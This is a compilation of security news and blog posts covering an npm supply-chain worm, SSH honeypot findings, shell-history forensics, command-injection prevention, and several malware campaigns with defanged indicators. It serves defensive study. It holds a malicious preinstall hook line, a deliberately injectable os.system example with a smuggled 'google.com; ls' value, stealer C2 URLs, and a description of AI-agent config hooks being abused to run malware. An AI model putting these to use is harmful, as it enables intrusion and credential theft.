Researchers at Aikido Security recently reported an active supply chain attack impacting widely downloaded npm libraries, including keyv and related caching utilities. The campaign leverages compromised maintainer credentials to publish poisoned package versions containing malicious preinstall hooks. When installed by developers or CI/CD pipelines, these scripts retrieve the legitimate Bun JavaScript runtime to execute an obfuscated stealer that harvests npm, GitHub, AWS, Kubernetes, and HashiCorp Vault secrets. Stolen credentials are encrypted and exfiltrated to attacker-controlled public GitHub repositories or secondary C2 infrastructure. Notably, the threat exhibits worm-like behavior, using hijacked tokens to automatically publish infected packages and commit backdoors into connected source repositories.

Researchers at Securonix recently reported an active multi-stage campaign dubbed SMOKE#SCREEN that abuses legitimate ScreenConnect remote monitoring and management (RMM) software to gain persistent access to enterprise endpoints. The operation targets both Windows and macOS environments using social engineering lures themed around Zoom updates, corporate document reviews, and system utilities. Attackers stage payloads on WebDAV infrastructure while leveraging Cloudflare Quick Tunnels and cloud storage links to distribute malware. Execution involves rotating droppers, spanning XOR-encoded VBScript files to compiled .NET binaries that dismantle local host defenses prior to installing signed ConnectWise ScreenConnect agents. Once deployed, the software beacons to attacker-controlled C2 relay servers, granting operators persistent and authorized-looking administrative access to targeted networks.

UNIX systems (including Linux) are well-known to record a lot of activities in many different locations. But there is one domain where they definitely lack of "modern" logging: shells. Most shells provide an historization of the typed commands through a flat file in the $HOME directory (ex: $HOME/.bash_history). They suffer of multiple problems:

History is stored in memory and the file is updated when the shell exits
The order of commands is not reliable
There is no timestamps (by default)
The size of history can be limited (see $HISTFILESIZE)
Can be removed/tampered by the user
Note that if you use sudo to switch to another user (usually root), events are sent to the classic logging mechanism (syslog or journal):

Aug 05 15:30:48 lab0 sudo[211956]: xavier : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/whoami
To search across the history, the shell user can use the “reverse-i-search” feature available in Bash (but also other shells). This is the built-in incremental search through your command history, bound to CTRL-R. You hit it, start typing part of a command you ran before, and bash walks backwards through history showing the most recent match as you type — hence "reverse" (newest-first) and "i" for incremental (it updates on every keystroke).

xavier@lab0:~$
(reverse-i-search)`grep': dpkg -l | grep curl
It’s nice but, again, limited!

There are tools that expand the power of reverse-i-search and the shell history by storing everything into a database. One that became popular is called “Atuin”[1].

It enhances your shell history with a SQLite database, and records extra context for every command:

The directory it ran in,
how long it took,
whether it succeeded,
which machine and session it came from.
Even better, it can also sync your history across all of your machines, end-to-end encrypted. The official Atuin server can be used but, of course, it’s possible to deploy your own server (that's what I do in my infrastructure). From a forensic point of view, this tool is both a gift and a trap for the investigator. If you don’t know that Atuin is used, you’ll maybe loose lot of evidences. But if you spot it, it’s for sure a win!

Atuin follows XDG paths[2], so check every user's home directory plus root (per-user install):

File Purpose
~/.local/share/atuin/history.db Primary evidence (SQLite)
~/.local/share/atuin/history.db-wal Uncommitted records (DO NOT MISS)
~/.local/share/atuin/history.db-shm
~/.local/share/atuin/key E2E sync encryption key
~/.local/share/atuin/session Server session token (API bearer)
~/.config/atuin/config.toml Config: sync target, filters, custom paths
Do not assume the default location. The config location can be overridden with $ATUIN_CONFIG_DIR, and the database, key, and session paths are all individually configurable in config.toml. It's recommended to read the config first.

Atuin must be enable at shell level (for every shell, every user). Search for proof-of-activation in the shell RC files:

xavier@lab0:~$ grep atuin $HOME/.bashrc
. "$HOME/.atuin/bin/env"
eval "$(atuin init bash)"
Second step: Build your timeline

xavier@lab0:~$ sqlite3 history.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .schema history
CREATE TABLE history (
id text primary key,
timestamp integer not null,
duration integer not null,
exit integer not null,
command text not null,
cwd text not null,
session text not null,
hostname text not null, deleted_at integer, author text, intent text, shell text,
unique(timestamp, cwd, command)
);
CREATE INDEX idx_history_timestamp on history(timestamp);
CREATE INDEX idx_history_command_timestamp on history(
command,
timestamp
);
CREATE INDEX idx_history_active_timestamp on history(timestamp)
where deleted_at is null;
CREATE INDEX idx_history_session_timestamp on history(session, timestamp)
where deleted_at is null;
CREATE INDEX idx_history_cwd_timestamp on history(cwd, timestamp)
where deleted_at is null;
CREATE INDEX idx_history_hostname_timestamp on history(lower(hostname), timestamp)
where deleted_at is null;
sqlite>
The id is a client-generated identifier used for syncing, and deleted_at is a soft-delete marker.

a UTC timestamp (nanoseconds since epoch — divide by 1e9),
the working directory,
the exit code,
execution duration,
a session ID,
the hostname
Triage query, read-only:

"session" lets you reconstruct individual terminal sessions: Use "group by" to rebuild what an operator did in one window, in order.
If sync is enabled, commands executed on other machines under the same account are pulled into this host's database. A row in this db is not proof the command ran on this host.
Next step, investigate deleted and residual data:

The "soft-delete" design works is a goldmine: rows deleted via Atuin are marked with "deleted_at" rather than physically purged in many cases. Try to use "WHERE deleted_at IS NOT NULL" to recover "deleted" activity. Standard SQLite carving applies: freelist/unallocated pages and the WAL can hold prior row versions and dropped records (undark, bring2lite, or manual page carving).

A good news, the standard flat history file (~/.bash_history or ~/.zsh_history) is still written alongside Atuin, so cross-reference it.

Check the configuration file, if "auto_sync = true" and the user is logged in, history is end-to-end encrypted and pushed to a server (by default: https://api.atuin.sh). If you are authenticated and have the E2E encryption key, history may be pullable back from the server. But a self-hosted server can be used. In this case, more evidences can be found on this server but raw data will also be encrypted.

A final note: The configuration file allows to specify commands that will never be recorded:

## prevent commands matching any of these regexes from being written to history.
## Note that these regular expressions are unanchored, i.e. if they don't start
## with ^ or end with $, they'll match anywhere in the command.
## For details on the supported regular expression syntax, see
## https://docs.rs/regex/latest/regex/#syntax
# history_filter = [
# "^secret-cmd",
# "^innocuous-cmd .*--secret=.+",
# ]

## prevent commands run with cwd matching any of these regexes from being written
## to history. Note that these regular expressions are unanchored, i.e. if they don't
## start with ^ or end with $, they'll match anywhere in CWD.
## For details on the supported regular expression syntax, see
## https://docs.rs/regex/latest/regex/#syntax
# cwd_filter = [
# "^/very/secret/area",
# ]
Absence of a command in the database is therefore not evidence it wasn't run. Other gaps: non-interactive shells and scripts (no init hook = no capture), and commands in a sh session without the hook.

22 Seconds to Compromise: How Automated SSH Actors Move From Login to Persistence Before You Can Blink

On May 23, 2026, a threat actor successfully authenticated to my Cowrie SSH honeypot using compromised credentials and, within 22 seconds, injected a backdoor SSH key, changed the root password, attempted to clear host-based access restrictions, and performed automated system reconnaissance. The speed and consistency of the behavior left no room for doubt: this was not a human attacker manually working through a system. This was automated post-exploitation infrastructure executing a pre-scripted playbook the instant it found an open door.

This post documents that intrusion, the broader campaign it belongs to, and what defenders can do about it. The data comes from a self-managed Raspberry Pi 5 honeypot running Cowrie, operating continuously since April 2026 as part of my SANS Internet Storm Center internship. Over the 30-day monitoring period analyzed here, the sensor captured over 112,000 SSH sessions and 72,000+ authentication attempts from 175+ unique malicious source IPs.

The honeypot runs Cowrie v2.3.0 on a Raspberry Pi 5 with a residential internet connection. Cowrie simulates an SSH server that accepts connections on port 2222 (forwarded from external port 22), logs all attacker activity including commands, file transfers, and credentials, and submits data automatically to ISC DShield. The sensor's logs are archived daily and analyzed for attacker TTPs, campaign patterns, and threat intelligence value.

All data referenced in this post was extracted from raw JSON Cowrie logs using jq queries and cross-referenced against AbuseIPDB, VirusTotal, GreyNoise, ISC DShield, AlienVault OTX, Shodan, and Whois.

At 01:06:43 UTC on May 23, 2026, source IP 163.7.8.79 initiated an SSH connection to the honeypot. One second later, the actor successfully authenticated using the credentials root / Aa123123123, a weak password consistent with credentials leaked in past data breaches and commonly cycled through automated attack tools.

The SSH key injected into authorized_keys was captured by Cowrie with the following hash:
a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
The actor also removed the existing .ssh directory and recreated it before injecting the key, a technique used to eliminate existing authorized keys and ensure exclusive backdoor access. Changing the root password immediately after key injection further locks out legitimate administrators. Clearing /etc/hosts.deny removes any host-based access restrictions that might block future connections from the actor's infrastructure.

The entire sequence executed in 22 seconds. There was no hesitation, no exploration, no human decision-making visible in the command pattern. This is automation: a pre-scripted playbook executing the moment authentication succeeded.

After reviewing the full May 23 logs, I found that 163.7.8.79 returned to the sensor multiple times throughout the day, reconnecting approximately every few minutes and executing the same automated command sequence on each successful session. The consistency across sessions, identical command order, identical timing patterns, identical SSH key material, confirms this is not a human operator adapting to findings but an automated tool running a fixed exploitation script.

When I queried the logs for all successful authentications on May 23, I found 21 successful logins from 21 different source IPs within a single 24-hour period. The logins were clustered heavily between 01:00 and 02:30 UTC, suggesting coordinated wave-based scanning rather than independent actors discovering the honeypot randomly. A sample of the credentials used shows the breadth of the wordlists being deployed:

The presence of 'minecraft / 12345' is particularly noteworthy. Someone compiled a wordlist that includes gaming server default credentials, indicating active scanning for Minecraft or similar game server installations, not just generic Linux systems.

To understand whether this was a one-time event or part of a sustained campaign, I cross-referenced the full list of IPs my sensor had observed over 30+ days of operation against a compiled list of IPs associated with the mdrfckr SSH campaign, a persistent automated SSH scanning operation that has been documented across multiple honeypot operators worldwide.

The result: 93 IPs from the mdrfckr campaign list were still actively hitting my sensor weeks after first being documented. This is not a historical observation. These actors did not stop. The campaign has been running continuously throughout the monitoring period.

Additionally, analysis of the top connecting IPs by session volume revealed a coordinated subnet cluster:

80.94.92.184 — high volume connections
80.94.92.186 — high volume connections
80.94.92.171 — high volume connections

Three IPs from the same /24 subnet hitting the sensor simultaneously is not coincidence. This is coordinated scanning infrastructure, either a botnet or a distributed scanning platform, operating multiple nodes from the same network block to maximize coverage while distributing the load.

Cross-referencing the primary actor IP across multiple threat intelligence platforms confirmed its malicious reputation:
AbuseIPDB: 100% confidence of abuse, over 5,700 reported incidents primarily related to SSH brute-force attacks, with recent reports confirming continued active scanning activity.
VirusTotal: Multiple security vendors classify the IP as malicious or suspicious.
GreyNoise: Identified as part of internet-wide SSH brute-force and reconnaissance scanning activity, confirming this is not a targeted attack but systematic exploitation of any reachable vulnerable host.
Whois: The IP is associated with Byteplus infrastructure (AS150436), a cloud hosting provider, consistent with the pattern of actors using cloud resources to scale automated attack campaigns.

T1078 — Valid Accounts: Actor authenticated using compromised credentials from a wordlist.
T1098 — Account Manipulation: Malicious SSH key injected into authorized_keys to establish persistent access.
T1059 — Command Execution: Multiple shell commands executed immediately following authentication.
T1562 — Impair Defenses: /etc/hosts.deny cleared and processes terminated to remove access restrictions.

The 22-second compromise window is the most important takeaway from this observation. In the time it takes a human to notice an alert, review it, and begin investigation, a fully automated actor has already established a persistent backdoor, locked out legitimate administrators, and completed system reconnaissance. On a real system with no monitoring, the attack would be invisible until the damage was done.

The credential root / Aa123123123 is not sophisticated. It follows a simple pattern: a common word plus repeating numbers plus a capital letter. Millions of systems remain accessible with credentials exactly like this, whether because they were provisioned with weak defaults, never hardened, or left unchanged after initial setup. The actors hitting your honeypot are not targeting you specifically. They are sweeping the internet for anyone who left a door unlocked.

The sustained nature of this campaign, 93 returning IPs still active weeks after first documented observation, reinforces that these actors are not deterred by a single failed attempt. They keep scanning. They keep trying. The math works in their favor when millions of internet-connected systems are in scope.

System administrators who are responsible for any internet-exposed Linux system. If your system is reachable on port 22 with password authentication enabled, you are in scope for this campaign right now.
Security operations teams monitoring SSH authentication events. The behavioral signatures documented here, automated command sequences executing within seconds of authentication, consistent credential patterns, recurring source IPs, are detectable with proper log monitoring and should be included in detection rule sets.

Threat intelligence analysts tracking automated SSH campaigns. The mdrfckr campaign correlation data and the coordinated subnet cluster observations contribute to the shared picture of this ongoing threat.

M1027 — Password Policies: Enforce strong passwords across all accounts. The credentials used in this campaign, including Aa123123123, follow predictable patterns that password complexity requirements would eliminate. Eliminate default credentials entirely.
M1036 — Account Use Policies: Implement rate limiting and account lockout for SSH authentication failures. Tools like fail2ban can automatically block IPs after repeated failed attempts, dramatically reducing the attack surface for automated scanners.
M1042 — Disable or Remove Feature: Disable SSH password authentication entirely and require public key authentication only. This single configuration change renders the entire credential stuffing attack class ineffective regardless of wordlist quality or campaign scale.
M1030 — Network Segmentation: Restrict SSH access to trusted IP ranges or VPN connections only. Internet-exposed SSH on port 22 is an open invitation to this class of automated attack.
M1047 — Audit: Monitor authentication logs continuously. The behavioral pattern of automated post-exploitation, rapid command sequences executing within seconds of login, is highly detectable with proper alerting in place.

IP: 163.7.8.79 (Byteplus, AS150436) — primary actor
Credentials: root / Aa123123123
SSH Key Hash: a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
Associated Campaign: mdrfckr SSH campaign (93 confirmed overlapping IPs)

Automated SSH credential stuffing is not a sophisticated attack. It requires no novel exploits, no zero-days, and no targeted intelligence. It requires only an internet-connected system with weak credentials and no rate limiting. The 22-second compromise timeline documented here shows that the window between successful authentication and full backdoor establishment is too short for human response alone. Detection and prevention must be configured before the attack arrives, not after.

The campaign documented here has not stopped. The same infrastructure continues to scan, the same credential lists continue to be deployed, and the same post-exploitation playbook continues to execute the instant a weak system is found. The defenders who have hardened their SSH configuration are invisible to this campaign. The ones who have not are being hit right now.

[1] ISC DShield: https://isc.sans.edu/ipinfo/163.7.8.79
[2] AbuseIPDB: https://www.abuseipdb.com/check/163.7.8.79
[3] VirusTotal: https://www.virustotal.com/gui/ip-address/163.7.8.79
[4] GreyNoise: https://viz.greynoise.io/ip/163.7.8.79
[5] AlienVault OTX: https://otx.alienvault.com/indicator/ip/163.7.8.79
[6] Whois: https://whois.domaintools.com/163.7.8.79
[7] MITRE ATT&CK T1078: https://attack.mitre.org/techniques/T1078/
[8] MITRE ATT&CK T1098: https://attack.mitre.org/techniques/T1098/
[9] MITRE ATT&CK T1059: https://attack.mitre.org/techniques/T1059/
[10] MITRE ATT&CK T1562: https://attack.mitre.org/techniques/T1562/
[11] fail2ban: https://en.wikipedia.org/wiki/Fail2ban
[12] https://www.sans.edu/cyber-security-programs/bachelors-degree/

Note: This blog post was produced with the assistance of Claude (Anthropic) as a writing and organizational tool. All analysis, log data, threat intelligence findings, and conclusions are my own.

When you learn that a compromised package executed on one of your build hosts, muscle memory takes over: revoke the npm token, rotate the GitHub PAT, cycle the cloud keys. That reflex has been correct in almost every supply-chain incident I have worked. In the keyv/cacheable compromise that has been unfolding since yesterday, it is the one thing you should not do first — because revoking the stolen token is exactly what arms the payload.

On August 4, 2026, an attacker took over the maintainer account behind the widely used keyv and cacheable npm namespaces — caching libraries that sit near the bottom of a very large number of dependency trees — and published trojanized releases. Socket's Threat Research team, which did the primary analysis, places the first malicious release, keyv@6.0.0, at 09:35 UTC. The poisoned versions ship a preinstall hook:

"scripts": { "preinstall": "node setup.mjs" }
setup.mjs downloads a standalone Bun runtime, runs an obfuscated second stage (Math_Symbol.js, ~728 KB), and harvests whatever it can reach: AWS instance metadata, cloud keys, Vault tokens, Kubernetes service-account tokens, GitHub Actions secrets, npm tokens, plus a generic regex sweep for private keys and bearer tokens on disk. Then — and this is why the campaign grew from roughly ten packages to several hundred within hours — it uses the stolen npm token to inject the same hook into other packages the compromised identity can publish, recomputes the integrity hashes, and republishes. It is a worm. The public IOC lists now cover more than 440 packages across two thousand-plus versions, and they are still moving.

Most teams scope this kind of incident to "who ran npm install in the exposure window." That misses half the population. The source repository also received IDE and agent autostart hooks — a SessionStart entry in .claude/settings.json and a folderOpen task in .vscode/tasks.json — that run the loader when the cloned folder is simply opened. No install, nothing built.

Sit with who that includes. It includes the security engineer who cloned the repository to investigate the incident after reading about it. It includes the AI coding agent that opened the directory to "take a look." I do not think we have seen AI-agent configuration files used as a first-class supply-chain execution vector at this scale before, and it is worth internalizing: a checked-out repository is now an execution surface, and .claude/, .cursor/, and .vscode/ are part of it.

Here is the part that should change how you respond. Alongside the credential theft, the payload installs a host-level dead-man's switch. It writes the stolen GitHub token and an attacker-supplied handler command to ~/.config/gh-token-monitor/, then persists itself as a macOS LaunchAgent or a Linux systemd user service with loginctl enable-linger so it survives logout. The systemd unit describes itself, helpfully, as a "GitHub Token Validity Monitor," so at a glance it reads like a developer convenience.

A watcher script polls the GitHub API with the stolen token every 60 seconds. While the token works, nothing happens. The moment the token stops working — an HTTP 4xx, which is precisely what your revocation produces — it evals the remote-supplied handler string, then deletes its own state and exits. It is single-shot and self-clearing, and it also self-destructs after a 24-hour TTL.

What is in the handler? Public analysis cannot say, because it is attacker-controlled text pulled at runtime and can be changed remotely. It could be data destruction, re-implant, or nothing at all. That is the whole problem: the risk is not that the trap does something specific and known — it is that you cannot assess it, and it fires at the exact moment your team believes it is containing the incident and starts to relax.

One consequence is counterintuitive but load-bearing: isolating the host from the network is safe. With no connectivity there is no HTTP response, so there is no 4xx, so the switch does not fire — and exfiltration stops at the same time. Isolate first. Do not power off; volatile memory is evidence.

"The signature was valid." keyv@6.0.0 shipped with a passing SLSA attestation. Provenance attests to build integrity, not source integrity — the legitimate workflow faithfully built already-trojanized code.
"The diff was clean." The library itself was not modified. The malice lives in package.json and two added files. A dist/ comparison shows nothing.
"We don't use keyv." You almost certainly do, transitively. The common path is eslint → file-entry-cache → flat-cache → keyv. Very few victims installed any of these directly.
"Nobody ran npm install." See the second section.
What to actually do

Isolate the host from the network. Safe, for the reason above. Do not shut it down.
Preserve evidence before you delete anything — the watcher self-clears in ~24 hours. Copy ~/.config/gh-token-monitor/{handler,token,started_at}, the payloads, the plist/unit, and record hashes. Do not execute the handler; treat it as inert text. started_at bounds your exposure window.
Eradicate: kill the watcher, unload the LaunchAgent / disable the systemd unit, drop loginctl linger, remove the files and the .claude/.vscode hooks, and clear the package caches.
Rotate — now, and only now. npm token first, to stop propagation; then GitHub, cloud, Vault, Kubernetes, CI secrets, and anything that was sitting in a file, because there was a regex sweep. Revoke, do not merely rotate.
Audit what was done in your name: repositories freshly described "Shai-Hulud: Here We Go Again," unexpected npm publishes under your accounts, and credential use in your cloud logs during the started_at window.
CI runners and any host with confirmed execution should be rebuilt, not cleaned. Arbitrary code ran; the list of known artifacts is not a completeness guarantee.

Enumerating this by hand across a fleet is tedious, and the moving IOC list makes a hardcoded grep obsolete within hours. I wrote a scanner to help with the triage: it checks lockfiles and node_modules for the compromised name/version set (with the transitive chain, so "we don't use keyv" gets answered on the spot), flags the host persistence and the dead-man's switch, and prints the response order above so nobody rotates before cleaning.

It is built to be easy to trust during exactly this kind of incident: one auditable file you can read in fifteen minutes, zero dependencies, zero egress (it never phones home; --update is the only network call and it is explicit), and read-only. It runs offline. It is MIT-licensed and open source, and — disclosure — it comes out of my work at Securest8; the IOC data is not mine but the public research of Socket, Wiz, and Kodem, credited in the repository.

https://github.com/Securest8/npm-incident-response
If you only take the tool, take the response order with it. The scanner finds the problem; the order in which you touch credentials is what keeps a bad day from getting worse.

The novel part of this campaign is not the credential theft — it is the two design choices around it: an execution path that does not require installing anything, and a switch that turns your remediation reflex into the trigger. Scope the second vector, isolate before you revoke, and clean the host before you touch a single token.

- Socket, "Popular npm Packages in the keyv and Cacheable Namespaces Compromised in Active Supply Chain Attack," August 4, 2026. https://socket.dev/blog/popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active-supply-chain
- Wiz Research, public IOC feed (keyv/cacheable). https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/keyv-packages.csv
- Wiz, "keyv and cacheable npm supply chain attack." https://www.wiz.io/blog/keyv-and-cacheable-npm-supply-chain-attack
- Kodem Security, keyv supply-chain attack IOCs and first-hour runbook. https://www.kodemsecurity.com/resources/keyv-supply-chain-attack-shai-hulud-npm-worm-affected-versions-iocs-and-first-hour-response-runbook

Symantec's Threat Intelligence teams worldwide offer unparalleled analysis and commentary on current cyberthreats impacting businesses. Symantec's browser extensions integrate this intelligence directly into your browser, enabling effective detection and blocking of various web-borne threats.

Symantec Endpoint Security (SES) and Symantec Endpoint Protection (SEP) provide browser protection through dedicated browser extensions for Google Chrome and Microsoft Edge. These extensions leverage two core technologies:

URL reputation, which identifies and blocks websites hosting malicious content, including phishing, malware, fraud, scams, and spam.
Browser Intrusion Prevention, which utilizes Symantec's advanced deep packet inspection engine to safeguard users against a diverse range of threats.
The integration of these technologies within the browser environment delivers a robust browser protection solution.

Over the past 30 days, a total of 46.6M attacks were successfully mitigated via the Endpoint protection browser extensions. This figure includes:

42.7M attacks blocked through URL reputation.
3.8M attempts to redirect users to attacker-controlled websites.
88.4K Browser Notification Scam, Technical Support Scam, and Cryptojacking attacks.
25.2K attacks exploiting malicious script injections on compromised websites.
Customers are strongly advised to enable Endpoint browser protection. Detailed instructions for implementation are available here. For those without SEP, Symantec Browser Protection offers an alternative solution for securing your browser, accessible here.

This morning, I noticed specific sources "hunting" for vulnerabilities in URLs that I haven't noticed before. All of these URLs appear to be associated with diagnostic tools:

The naming of these URLs points to diagnostic tools. I was unable to find any specific vulnerabilities associated with many of the URLs, but the table above reflects those I found. But diagnostic tools often suffer from file inclusion and code execution vulnerabilities.

These tools will often call operating system commands directly, without properly separating user-provided arguments. Here is a sample vulnerability in a ping utility:

response = os.system("ping -c 1 -w2 " + hostname )
The above example is in Python. But most (all?) languages have something equivalent to "os.system" (often called "exec", "shell_exec", "process" ...) Often, proper input validation and output encoding are used to prevent this vulnerability, but, in my opinion, there is a better approach that should always be used in addition to input validation, and I do not see it used much.

As with many other vulnerabilities, the root cause of command injection is the concatenation of user data and commands. Mixing control plane and data plane has been an issue since blue boxing and continues today with prompt injection. The real fix is to avoid this comingling of data and commands and instead properly separate them. Prepared statements in SQL are probably the best-known approach following this principle.

For OS command execution, we do have a very similar solution. The "system" command in your language will typically call the standard C function "exec" [1]. This family of function implements some meant to pass command line arguments: execv ("exec vector"). In addition to the command, it accepts an array of command-line arguments that are then passed to the command, properly separating the command from the arguments.

response = subprocess.run("ping", "-c", 1, "-w", 2, hostname )
Using "subprocess.run" eliminates the possibility of command injection in this example.

ping: cannot resolve google.com; ls: Unknown host
The entire string "google.com; ls" was used as a hostname, and the ";" no longer acted as a separator. Give it a try with other command injection strings, and you will see similar results.

There are a few cases where "execv" is not sufficient. Some operating system commands may execute additional commands passed on the command line. For example, tcpdump offers the "-z" option to execute a "postrotate command". But these cases are rare, and if you are running into them, you are back to proper input validation to use these specific command line options. In most cases, users cannot specify the command-line option itself but only the parameter; using the "execv" API will help.

A while ago, I also made a brief video with more details on preventing OS command injection: https://www.youtube.com/watch?v=7QDO3pZbum8. It also covers some of the issues around Windows, which implements different APIs.

The Larva-24009 threat actor has been active since at least 2023, carrying out phishing email attacks targeting users both in Korea and globally to install malware. ASEC (AhnLab SEcurity intelligence Center (ASEC) has previously disclosed attack cases by this threat actor in 2024, and Subsequently, Cyble also identified this same attack campaign and named it “HeptaX.” The Larva-24009 threat actor continues to carry out attacks in 2026, and this report summarizes the attacks and malware identified in 2026.

Compared to 2024, the malware used is essentially the same, and similarities were also observed in the file names. The Larva-24009 threat actor installs a PowerShell backdoor through LNK malware and subsequently maintains persistence by installing remote control tools such as QuasarRAT and UltraVNC. In addition, they install tools for taking screenshots, keylogging, and credential theft to steal user information stored on infected systems.

1. Initial Intrusion Method
The threat actor appears to use phishing emails during the Initial Intrusion process, employing LNK malware. Based on the names of the LNK malware used in the attacks and the content of the decoy documents created, the threat actor is targeting enterprises as an Attack Target. Based on cases identified since 2024, a variety of topics have been used, including hospital surveys, blockchain, project proposals, and resumes.

NovaCX_Agency_Updated_2026047_091100_version_1_8.Docx.Lnk
NovaCX_Agency_Updated_2026047_091100_version_3_2.Docx.Lnk
NovaCX_Interview_QA+Updated_20260420_162448_version_4_4.Docx.Lnk

When the LNK file is executed, an obfuscated PowerShell command runs. It first creates a decoy file in the %TEMP% directory and executes it, while simultaneously downloading and executing an additional PowerShell script from an external source.

2. PowerShell Malware
The initially downloaded PowerShell script is responsible for downloading and executing additional scripts from the C&C server. In addition, PowerShell scripts responsible for maintaining persistence, as well as those responsible for functions such as capturing screenshots and disabling Windows Defender, have been identified.

To maintain persistence, tasks are registered in the Task Scheduler; the names of the tasks identified in the attack cases are as follows:

“Intel(R) Ethernet3 Connection 1219-LM”
“GoogleUpdateTaskMachineCoreUA2{F84AE75F-E9CE-4FC0-9BC8-998371F0931}”
“GoogleUpdateTaskMachineCoreUA6{F84AE75F-E9CE-4FC0-9BC8-998371F0931}”

As in previous cases, the Notifier malware was used; however, unlike past PowerShell scripts that used the same C&C server address, version 2.1 Uses the Telegram API to send infection status reports to the threat actor.

3. Remote Control
The threat actor installed Quasar RAT and UltraVNC Server to achieve System Control over the infected system. Once UltraVNC Server is installed on the infected system, it opens ports such as 5800 and 5900 depending on the configuration, allowing the threat actor to achieve remote control of the screen through UltraVNC Viewer.

Although the threat actor installs RAT malware and UltraVNC, it is believed that they also control the infected system by exploiting RDP. A batch script that adds a backdoor account named “_BootUEFI_” is also present on the download server.

4. Information Gathering
Most of the tools used for information gathering are NirSoft tools. Threat actors can use these to steal user information stored on infected systems. In addition, threat actors created and used PowerShell scripts to capture screenshots and keylogger malware.

Keylogging data storage path – 1: %ALLUSERSPROFILE%\Microsoft\OneDrive\log.Log
Keylogging data storage path – 2: %ALLUSERSPROFILE%\Microsoft\OneDrive\logv.Log

5. Conclusion
The Larva-24009 threat actor is spreading malware through phishing emails that use keywords such as “hospital survey,” “blockchain,” “project documentation,” and “resume.” Since the malware is distributed disguised as document files, users may download and execute the Attachments thinking they are legitimate documents; in such cases, sensitive information—such as credentials and user files stored on the system—can be stolen.

Users should exercise extreme caution not only with email attachments but also with executable files from unknown sources. Also, V3 should be updated to the latest version so that malware infection can be prevented.

A new Go-written variant of the Linux-based BlueShell RAT, linked to BlackTech and other China-based threat actors, was recently reported by researchers at IIJ Sec. The variant deploys via an XOR-encoded dropper and focuses heavily on evasion, renaming its process to mimic a legitimate kernel worker thread to blend into standard system activity. Per their analysis, the configuration data is retrieved from encoded environment variables rather than on-disk files. Notably, this version bypasses direct outbound communication by tunneling its command-and-control traffic through the victim’s internal proxy servers, verifying connections via X.509 certificate checks before providing attackers with a remote shell.

Attack chain decomposition: SSH deployment of dropper → XOR and FastLZ4 decoding → Payload extraction to /tmp/kthread → Process masquerading as [kworker/12:12] → Configuration retrieved from wtim environment variable → C2 connection via internal proxy → X.509 certificate validation → Remote shell execution → Artifact self-deletion

Associated malicious indicators are blocked and detected by existing policies within Carbon Black products. The recommended policy at a minimum is to block all types of malware from executing (Known, Suspect, and PUP) as well as delay execution for cloud scan to get maximum benefit from Carbon Black Cloud reputation service.

This diary provides indicators from an Atomic MacOS (AMOS) stealer infection that I generated in my lab on July 31st, 2026. This was distributed through a web page from getmacouscloud[.]com with instructions to paste text into a macOS Terminal window, supposedly for "macOS toolkit," but instead the text is a command to retrieve and install AMOS stealer malware.

Of note, I ran the text in the Terminal window twice, because I wanted to make sure I retrieved copies of files in the host's /tmp directory before entering the user account password. This is why the initial infection traffic is repeated, and also likely why there are two different directories with the AMOS stealer malware persistent on my infected lab host.

Shown above: Website with instructions to copy and paste text into a Terminal window, supposedly for a "macOS toolkit" but actually for malware.

Shown above: Files from my infected host's /tmp directory, showing data stolen and other info for AMOS stealer.

hxxps[:]//macostruecloud[.]xyz/?h=2f9548d041648a8030c040ae0e1e530b&z=304
macspheres[.]com - HTTPS traffic
hxxps[:]//getmacouscloud[.]com/?FSSbmnNdviEDE5S?io=16vwsb0rgIiPNIgM
URL from the base64 text provided by getmacouscloud[.]com for the initial download:

hxxps[:]//render65[.]com/curl/f5509695dd98a9732378e5256d6235415d64d92194459bb08525c7ce5991a0c9
URLs from extracted from the payload returned from the initial download:

hxxps[:]//grove-89[.]com/api/metrics/run?event=pasted
hxxps[:]//render65[.]com/2kqYRM0DCrnyJgoS4gVLl_FHJRRdTUhGCbjyuYwpZ6c/m1/update
AMOS stealer C2 traffic - HTTP POST requests over TCP port 80:

hxxp[:]//188.166.78[.]138/api/metrics/run?event=started&stage=boot
hxxp[:]//188.166.78[.]138/api/metrics/run?event=stage&stage=init_session
hxxp[:]//188.166.78[.]138/api/metrics/run?event=stage&stage=messengers
hxxp[:]//188.166.78[.]138/api/metrics/run?event=stage&stage=credentials
hxxp[:]//188.166.78[.]138/api/metrics/run?event=stage&stage=browsers
hxxp[:]//188.166.78[.]138/api/metrics/run?event=stage&stage=wallets
hxxp[:]//188.166.78[.]138/contact
hxxp[:]//188.166.78[.]138/api/metrics/run?event=stage&stage=resolve_auth
hxxp[:]//188.166.78[.]138/api/metrics/run?event=stage&stage=local_data
hxxp[:]//188.166.78[.]138/api/join/
hxxp[:]//188.166.78[.]138/api/bots/device-info
hxxp[:]//188.166.78[.]138/api/tasks/ack
hxxp[:]//188.166.78[.]138/api/feed/register
AMOS stealer C2 traffic - examples of HTTP GET requests over TCP port 80:

hxxp[:]//188.166.78[.]138/api/tasks/r3dqbX7fptIT-gXz--D_nw?v=2.1
hxxp[:]//188.166.78[.]138/api/feed/items/49359f77ebb4ffd9a95568d27a8ff3e7
SHA-256 hash: b9ec3261d633c289e51c5fa8842af4350efe68446df39cb995de82e0941d0f3c

File size: 1,973 bytes
File type: Paul Falstad's zsh script text executable, ASCII text
File description: Initial file retrieved by malicious text in Terminal window
SHA-256 hash: 13b868b3ea8b492e7fbab1ca04535c53d0930650185b5a082cd59c1974689cd5

File size: 1,227 bytes
File type: Paul Falstad's zsh script text executable, ASCII text, with very long lines (315)
File description: Script extracted from a gzip-compressed file from base64 text in the above file
SHA-256 hash: 9f25ec533cb23d020e568fb771500d7776b1300f07119ad9d0876f4329ce22ab

File size: 297,952 bytes
File location: /tmp/helper
File type: Mach-O universal binary with 2 architectures: x86_64 & arm64
SHA-256 hash: 0a03cf18de28017c0ea591dffc380a6b41fedd2acc3a39e901e58d9188c01836

File size: 438,656 bytes
File location: /Users/[username]/Library/Application Support/.com.apple.accountsd/AccountsHelper
File type: Mach-O universal binary with 2 architectures: x86_64 & arm64
SHA-256 hash: 01a0d5332b09bb299f7784bf0d0c43c4199269ed6a0712377279eeb999847d20

File size: 503,152 bytes
